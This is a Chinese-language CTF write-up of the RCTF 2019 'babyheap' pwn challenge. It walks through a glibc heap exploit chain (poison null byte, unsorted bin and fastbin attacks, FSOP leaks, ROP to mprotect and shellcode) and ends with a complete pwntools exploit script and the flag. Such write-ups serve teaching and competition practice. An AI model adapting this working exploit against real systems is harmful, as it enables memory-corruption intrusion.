[Pwn] babyheap - cpt.shao xp0int Posted on May 20 2019 ? posion bull byte ? ? unsorted-bin-attack ? ? Fast-bin-attack ? ? fsop ? > 因为开了seccomp, 这题的利用方法变得非常绕。  漏洞在edit函数处,添加内容后有一个明显的off-by-one null byte漏洞。 虽叫babyheap,但自然是保护全开的。 ```plain Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` 比较意外的是还开启了seccomp,把execve等系统调用号给禁用了,也就是没用办法使用one_gadget的方法了。 ```c line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008 0007: 0x06 0x00 0x00 0x00000000 return KILL 0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010 0009: 0x06 0x00 0x00 0x00000000 return KILL 0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012 0011: 0x06 0x00 0x00 0x00000000 return KILL 0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014 0013: 0x06 0x00 0x00 0x00000000 return KILL 0014: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0016 0015: 0x06 0x00 0x00 0x00000000 return KILL 0016: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0018 0017: 0x06 0x00 0x00 0x00000000 return KILL 0018: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0020 0019: 0x06 0x00 0x00 0x00000000 return KILL 0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW ```  然后为了增加难度,出题人还使用`mallopt`函数关闭了fastbin的功能,具体还说就是把`global_max_fast`设为了0x10。另外chunk的列表也不是直接存放在bss段上,而是重新mmap出一段内存来存放,这样在得知mmap段地址之前就没办法使用unlink来构造任意写。 ##Leaking off-by-one null的利用方法自然是用posion null byte的方法来先构造overlapping chunks,然后利用overlapping chunks中的unsortedbins chunk来泄露libc地址。但是题目中是用`calloc`来分配内存的,所以分配出来的内存都会清空,不能通过常规方法来泄露libc。 ```python add(0x58) #0 add(0x58) #1 add(0x200) #2 add(0x100) #3 add(0x10) #4 edit(2, "A"*0x1f0 + p64(0x200)) delete(2) edit(1, "A"*0x58) #offbyone add(0x100) #2 add(0x60) #5: victim delete(2) delete(3) ``` 利用posion null byte布局后的情况如图所示, 可以看到unsorted bin中的chunk已经和#5的地址重合了,下一步只要分配`0x310`大小的chunk就可以获得Overlapping chunk了。  但是要想获得一个libc地址,不能让新分配完全覆盖victim,这里需要计算好大小,让unsortedbin切分后包含libc地址的chunk刚好落在#5,然后就能利用`puts`来泄露libc地址了。  利用这个思路构造出两个unsorted bin chunk就能泄露heap地址。 ## unsortedbin attack 下一步是利用overlapping chunk来进行unsorted bin attack,这里的攻击目标是`global_max_fast`,把这个值改大以后就可以让任意大小的chunk都进入fastbin机制,方便实施下一步的fastbin attack。 ```python add(0x310) global_max_fast = libc.address + 0x3c67f8 fake1 = p64(0) + p64(0x71) fake1 = fake1.ljust(0x70, '\x00') edit(2, "A"*0x100 + fake1*3) delete(5) # write global_max_fast edit(2, "A"*0x100 + p64(0) + p64(0x71) + p64(leak_libc) + p64(global_max_fast-0x10)) add(0x60) ``` 注意进行完unsorted bin attack以后需要利用fastbin机制来修复arena,不然之后的alloc操作都会报错,具体原因可以看我个人博客的[Heap Master Review](http://matshao.com/2019/05/04/Heap-Master-Review/)。 ```python fake2 = p64(0) + p64(0xf1) fake2 = fake2.ljust(0xf0, '\x00') edit(2, "A"*0x100 + fake2 + fake1) delete(3) ``` ## fastbin attack & fsop 到这里就已经可以通过overlapping chunk来构造任意大小的,并且通过fastbin attack的方式返回几乎任意地址的内存。那么下一步的目标是什么呢? 常规把`malloc_hook`或者`free_hook`改成one gadget的方法行不通,因为有沙盒的缘故。有个想法就是找一个gadget来pivot到heap地址段,然后进行rop,但是找这样的gadget一般是非常痛苦的。 要绕沙盒最后肯定是要做rop的,这里的思路是利用angelboy介绍的fsop方法,首先通过`_IO_2_1_stdout_`获得一个任意读原语,用来读`libc['environ']`泄露出栈地址,然后读栈内容泄露code段地址,获得code地址后fastbin attack去攻击bss段上保存mmap地址的全局变量,将其改为heap地址,这样就可以获得一个任意写原语了。 ```python # _IO_2_1_stdout_ edit(2, "A"*0x100 + p64(0) + p64(0xf1) + p64(libc.address+0x3c55cf) + p64(0) +"0"*0xc0 + fake3 + fake3) # padding 65 add(0xe0) add(0xe0) def do_read(addr, size): file = IO_FILE_plus_struct() file['_flags'] = 0xfbad3887 file['_IO_write_base'] = addr file['_IO_write_ptr'] = addr + size file['_IO_read_end'] = file['_IO_write_base'] payload = str(file)[:0x30] edit(5, "A"*65 + payload) do_read(libc.symbols['environ'], 8) # leak stack stack = ru("Edit")[1:9] stack = u64(stack) info_addr("stack", stack) do_read(stack-0x100, 0x30) leak = ru("Edit")[:-4] canary = u64(leak[1:9]) info_addr("canary", canary) code_leak = u64(leak[9: 17]) code = code_leak - 0x13d0 info_addr("code leak", code_leak) info_addr("code", code) # fastbin attack ptr@bss ptr = 0x202110 + code ptr_handler = 0x2020fd + code # padding 3 size = 0x70 edit(2, "A"*0x100 + p64(0) + p64(size+1) + p64(0) + p64(0) +"a"*(size-0x20) + fake3 + fake3) delete(3) edit(2, "A"*0x100 + p64(0) + p64(size+1) + p64(ptr_handler) + p64(0) +"a"*(size-0x20) + fake3 + fake3) add(size-0x10) add(size-0x10) fake_entry = p64(heap+0x10) + p64(0x100) edit(0, fake_entry * 6) edit(1, fake_entry * 6) sc = asm(shellcraft.amd64.linux.cat("./flag")) edit(2, sc) edit(6, "A"*3 + p64(heap + 0x10)) ``` 图中是伪造chunk表后获得任意写原语的情况:  ## ROP & shellcode 有了任意写,还知道栈地址,做ROP就很方便了。这里的做法是用ROP调用mprotect解开heap段的可执行权限,然后跳到heap上事先防止好的cat flag shellcode。 ```python edit(6, "A"*3 + p64(heap + 0x10)) ret_addr = stack - 0x110 edit(1, p64(ret_addr) + p64(0x100)[:-1]) rop = ROP(libc) pop_rdi = libc.address + 0x21102 pop_rsi = libc.address + 0x202e8 pop_rdx = libc.address + 0x1b92 # mprotect and jmp heap rop.raw(pop_rdi) rop.raw(heap) rop.raw(pop_rsi) rop.raw(0x1000) rop.raw(pop_rdx) rop.raw(7) rop.raw(libc.symbols['mprotect']) rop.raw(heap + 0xd0) payload = rop.chain() edit(0, payload) ``` 最终exp如下 ## exp.py ```python # rctf{15172bc66a5f317986cb8293597e033c} from pwn import * import re from FILE import * context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' context.log_level = "debug" env = {'LD_PRELOAD': ''} libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') if len(sys.argv) == 1: p = process('./babyheap') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) def add(size): sla("Choice:", "1") sla("Size: ", str(size)) def edit(idx, content): sla("Choice:", "2") sla("Index:", str(idx)) sea("Content:", content) def delete(idx): sla("Choice:", "3") sla("Index:", str(idx)) def show(idx): sla("Choice:", "4") sla("Index:", str(idx)) add(0x58) #0 add(0x58) #1 add(0x200) #2 add(0x100) #3 add(0x10) #4 edit(2, "A"*0x1f0 + p64(0x200)) delete(2) edit(1, "A"*0x58) #offbyone add(0x100) #2 add(0x60) #5: victim delete(2) delete(3) add(0x100) # leak libc show(5) leak_libc = u64(ru("\n")[1:7] + "\x00\x00") libc.address = leak_libc - 0x3c4b78 info_addr("libc", libc.address) add(0x200) delete(1) delete(3) # leak heap show(5) heap = u64(ru("\n")[1:7] + "\x00\x00") - 0x60 info_addr("heap", heap) add(0x58) delete(2) add(0x310) global_max_fast = libc.address + 0x3c67f8 fake1 = p64(0) + p64(0x71) fake1 = fake1.ljust(0x70, '\x00') edit(2, "A"*0x100 + fake1*3) delete(5) # write global_max_fast edit(2, "A"*0x100 + p64(0) + p64(0x71) + p64(leak_libc) + p64(global_max_fast-0x10)) add(0x60) fake2 = p64(0) + p64(0xf1) fake2 = fake2.ljust(0xf0, '\x00') edit(2, "A"*0x100 + fake2 + fake1) delete(3) fake3 = p64(0) + p64(0x71) fake3 = fake3.ljust(0x70, '\x00') # _IO_2_1_stdout_ edit(2, "A"*0x100 + p64(0) + p64(0xf1) + p64(libc.address+0x3c55cf) + p64(0) +"0"*0xc0 + fake3 + fake3) # padding 65 add(0xe0) add(0xe0) def do_read(addr, size): file = IO_FILE_plus_struct() file['_flags'] = 0xfbad3887 file['_IO_write_base'] = addr file['_IO_write_ptr'] = addr + size file['_IO_read_end'] = file['_IO_write_base'] payload = str(file)[:0x30] edit(5, "A"*65 + payload) do_read(libc.symbols['environ'], 8) # leak stack stack = ru("Edit")[1:9] stack = u64(stack) info_addr("stack", stack) do_read(stack-0x100, 0x30) leak = ru("Edit")[:-4] canary = u64(leak[1:9]) info_addr("canary", canary) code_leak = u64(leak[9: 17]) code = code_leak - 0x13d0 info_addr("code leak", code_leak) info_addr("code", code) # fastbin attack ptr@bss ptr = 0x202110 + code ptr_handler = 0x2020fd + code # padding 3 size = 0x70 edit(2, "A"*0x100 + p64(0) + p64(size+1) + p64(0) + p64(0) +"a"*(size-0x20) + fake3 + fake3) delete(3) edit(2, "A"*0x100 + p64(0) + p64(size+1) + p64(ptr_handler) + p64(0) +"a"*(size-0x20) + fake3 + fake3) add(size-0x10) add(size-0x10) fake_entry = p64(heap+0x10) + p64(0x100) edit(0, fake_entry * 6) edit(1, fake_entry * 6) sc = asm(shellcraft.amd64.linux.cat("./flag")) edit(2, sc) edit(6, "A"*3 + p64(heap + 0x10)) ret_addr = stack - 0x110 edit(1, p64(ret_addr) + p64(0x100)[:-1]) rop = ROP(libc) pop_rdi = libc.address + 0x21102 pop_rsi = libc.address + 0x202e8 pop_rdx = libc.address + 0x1b92 # mprotect and jmp heap rop.raw(pop_rdi) rop.raw(heap) rop.raw(pop_rsi) rop.raw(0x1000) rop.raw(pop_rdx) rop.raw(7) rop.raw(libc.symbols['mprotect']) rop.raw(heap + 0xd0) payload = rop.chain() edit(0, payload) p.interactive() ``` 这题的利用链长度可以说是做过题目里面数一数二的了,总共经历了posion null byte->unsorted bin attack -> fastbin attack -> fsop -> rop -> shellcode. 感觉应该会有其他简单一点的方法,等其他师傅的wp了 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc] draw - Donek1 [Pwn] manynotes - cpt.shao
没有帐号? 立即注册